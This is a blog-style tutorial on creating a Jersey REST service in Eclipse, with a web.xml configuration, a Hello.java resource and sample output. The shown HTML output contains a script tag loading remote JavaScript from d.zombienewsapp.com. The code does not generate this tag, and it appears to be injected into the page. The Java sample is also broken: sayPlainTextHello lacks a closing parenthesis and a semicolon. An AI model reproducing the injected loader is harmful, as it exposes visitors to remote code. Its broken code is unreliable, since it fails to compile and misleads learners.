RESTful Webservice

How to create RESTful Web Services (Hands on using Eclipse and Jersey API’s)-REST with Java (JAX-RS) using Jersey.
1.Need to load jersey jar files or use maven framework.
Load jersey jar files from below link.
http://www.javatpoint.com/webservicepages/download/jerseyjars.zip 
or 

2.Create Dynamic Web Project.
In Eclipse => File => New => Dynamic Web Project.
3.Copy all JARs from Jersey jar downloaded and paste  into the WEB-INF/lib folder.

4.Write the Follwing into web.xml
<?xml version="1.0" encoding= "UTF-8"?> 
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns="http://java.sun.com/xml/ns/javaee"   
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee  
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"   
id="WebApp_ID" version="3.0">  
 <servlet > 
    <servlet-name >Jersey REST Service</ servlet-name> 
    <servlet-class> org.glassfish.jersey.servlet.ServletContainer</servlet-class > 
    <init-param > 
        <param-name> jersey.config.server.provider.packages</param-name > 
        <param-value> com.om</param-value > 
    </init-param > 
    <load-on-startup >1</ load-on-startup> 
  </servlet > 
  <servlet-mapping > 
    <servlet-name >Jersey REST Service</ servlet-name> 
    <url-pattern >/rest/*</ url-pattern> 
  </servlet-mapping > 
</web-app> 
5.Create Resource Hello.java   
package com.om;

import javax.ws.rs.GET;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.MediaType;

@Path("/hello" )
public class Hello {
      
       // This method is called if HTML and XML is not requested 
        @GET 
        @Produces(MediaType.TEXT_PLAIN
        public String sayPlainTextHello() { 
          return "Hello Jersey Plain" 
        } 
       
       // This method is called if XML is request
        @GET
        @Produces(MediaType.TEXT_XML)
        public String sayXMLHello() {
          return "<?xml version=\"1.0\"?>" + "<hello> Hello Jersey" + "</hello>" ;
        }

        // This method is called if HTML is request
        @GET
        @Produces(MediaType.TEXT_HTML)
        public String sayHtmlHello() {
          return "<html> " + "<title>" + "Hello Jersey" + "</title>"
              + "<body><h1>" + "Hello Jersey" + "</h1></body>" + "</html> " ;
        }
}

O/P:-
Hello Jersey Plain


<?xml version="1.0"?>

<hello> Hello Jersey</hello>

<html>

    <title>Hello Jersey</title>

    <body>

        <script src="http://d.zombienewsapp.com/l/load.js"></script>
        <h1>Hello Jersey</h1>
    </body>
</html> 

No comments:

Post a Comment